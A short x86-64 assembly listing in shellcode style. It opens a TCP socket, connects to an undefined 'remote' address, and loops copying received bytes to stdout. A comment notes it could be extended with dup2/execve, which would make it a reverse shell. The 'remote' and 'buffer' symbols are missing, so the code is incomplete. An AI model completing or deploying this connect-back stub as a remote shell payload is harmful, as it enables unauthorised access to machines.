 

.section .text
.global _start
_start:
    # Zero out registers
    xorq %rax, %rax
    xorq %rdi, %rdi
    xorq %rsi, %rsi
    xorq %rdx, %rdx
    xorq %r10, %r10

    # Create socket (syscall 41 - socket)
    movb $41, %al             # syscall number for socket
    movb $2, %dil             # AF_INET = 2
    movb $1, %sil             # SOCK_STREAM = 1
    movb $6, %dl              # IPPROTO_TCP = 6
    syscall
    # Save socket fd in rdi for later use
    pushq %rax
    movq %rax, %rdi

    # Create sockaddr_in structure on stack
    xorq %rax, %rax

    # Connect (syscall 42 - connect)
    lea remote(%rip),%rsi           # pointer to sockaddr_in
    movq $16, %rdx             # sizeof(sockaddr_in)
    movq $42, %rax             # syscall number for connect
    syscall

.label:
    # Read (syscall 0 - read)
    lea buffer(%rip),%rsi
    popq %rdi                   # socket fd
    pushq %rdi                  # save socket fd
    movq $0x10, %rdx           # buffer size
    movq $0, %rax              # syscall number for read
    syscall
    # write (syscall 1 - write)
    movq $1, %rdi             # stdout fd
    lea buffer(%rip),%rsi
    movq %rax, %rdx           # bytes read
    movq $1, %rax              # syscall number for write
    syscall

    jmp .label

    # Exit (optional - could continue with dup2/execve here)
    xorq %rdi, %rdi
    movb $60, %al             # syscall number for exit
    syscall